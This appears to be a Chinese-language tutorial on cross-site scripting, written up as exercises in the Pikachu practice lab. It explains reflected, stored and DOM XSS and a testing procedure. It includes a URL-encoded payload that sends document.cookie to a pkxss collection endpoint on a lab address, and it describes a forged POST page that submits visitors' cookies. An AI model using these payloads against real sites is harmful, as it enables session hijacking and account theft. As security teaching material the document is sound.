跨站脚本漏洞概述
ⅩSS漏洞一直被评估为web漏洞中危害较大的漏洞,在 OWASP TOP10的排名中一直属于前三的江湖地位。
XSS是一种发生在web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、钓鱼攻击、前端js挖矿、用户 cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制等- 反射型 交互的数据一般不会被存在在数据库里面,一次性,所见即所得,一般出现在查询类页面等。
- 存储型 交互的数据会被存在在数据库里面,永久性存储,一般出现在留言板,注册等页面。
- DOM型 不与后台服务器产生数据交互,是一种通过DOM操作前端代码输出的时候产生的问题,一次性的,一般是js操作DOM对象。 也属于反射型。
危害性
存储型>反射型>DOM型
XSS漏洞形成的原因
形成XSS漏洞的主要原因是程序对输入和输出的控制不够严格,导致“精心构造”的脚本输入后,在输到前端时被浏览器当作有效代码解析执行,从而产生危害。
XSS漏洞类型及测试流程
- 在目标站点上找到输入点,比如查询接口留言板等
- 输入一组“特殊字符+唯一识别字符”,点击提交后,查看返回的源码,是否有做对应的过滤或者转义处理 如 '"<>666
- 通过搜索定位到唯一字符,结合唯一字符前后语法确认是否可以构造执行js的条件(构造闭合)
- 提交构造的脚本代码(以及各种绕过姿势),看是否可以成功执行,如果成功执行则说明存在XS漏洞
TIPS
- 一般查询接口容易出现反射型XSS,留言板容易岀现存储型XSS
- 由于后台可能存在过滤措施,构造的 script可能会被过滤掉,而无法生效或者环境限制了执行(浏览器);
- 通过变化不同的 script,尝试绕过后台的过滤机制
反射型XSS(get&post)演示和原理分析
get
测试payload
生成的url为,将这个url发送给受攻击者诱导其点击.
效果当然这个例子没有危害性
存储型XSS演示和与原理分析
存储型XS漏洞跟反射型形成的原因一样,不同的是存储型XSS下攻击者可以将脚本注入到后台存储起来,构成更加持久的危害,因此存储型XSS也称“永久型”XSS。
常见于论坛的留言板
后台代码
DOM型XSS演示和原理分析
DOM 提供了js操作HTML结构的编程接口
可参考通过 JavaScript,可以重构整个HTML文档。你可以添加、移除、改变或重排页面上的项目要改变页面的某个东西, JavaScript就需要获得对HTML文档中所有元素进行访问的入口。这个入口,连同对HTML元素进行添加、移动、改变或移除的方法和属性,都是通过文档对象模型来获得的(DOM)
所以,你可以把DOM理解为一个访问HTML的标准编程接口。
示例1
其它payload
#' onclick="alert('xss')"
这个例子用来说明基于DOM的XSS的原理,这个例子没有太大的危害
示例2
这个例子通过将url发给目标就可以执行了
ⅩSS的危害-获取 cookie的原理和实验演示
pkxss后台
pkxss后台接收cookies信息的接口http://192.168.43.5/pkxss/pkxss_login.php
当把包含恶意xss脚本的url发送给目标,目标点击后其cookies就会提交给xss后台的cookie接口,存入数据库.
恶意url为http://192.168.43.5/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Edocument.location%3D%27http%3A%2F%2F192.168.43.5%2Fpikachu%2Fpkxss%2Fxcookie%2Fcookie.php%3Fcookie%3D%27%2Bdocument.cookie%3B%3C%2Fscript%3E&submit=submit
POST方法的XSS
POST方法的参数不在url中,不能使用发送url的方式来利用,可以伪造一个页面让用户访问,这个页面以POST方法来向目标网站提交XXS脚本,原理如下图所示.
这个伪造的页面代码如下:
为方便起见,我将pikachu,pikxss和伪造的页面放在一个服务器上向上面的代码有点不同
pikachu的post xss地址 http://192.168.43.5/pikachu/vul/xss/xsspost/xss_reflected_post.phppikxss后台接收cookie的接口http://192.168.43.5/pikachu/pkxss/xcookie/cookie.php伪造页面的地址http://192.168.43.5/pikachu/pkxss/xcookie/post.html
当用户访问下面的url时,就会向pkxss后台提交cookie
http://192.168.43.5/pikachu/pkxss/xcookie/post.html
当用户点击后,后台有收到含有登陆信息的cookie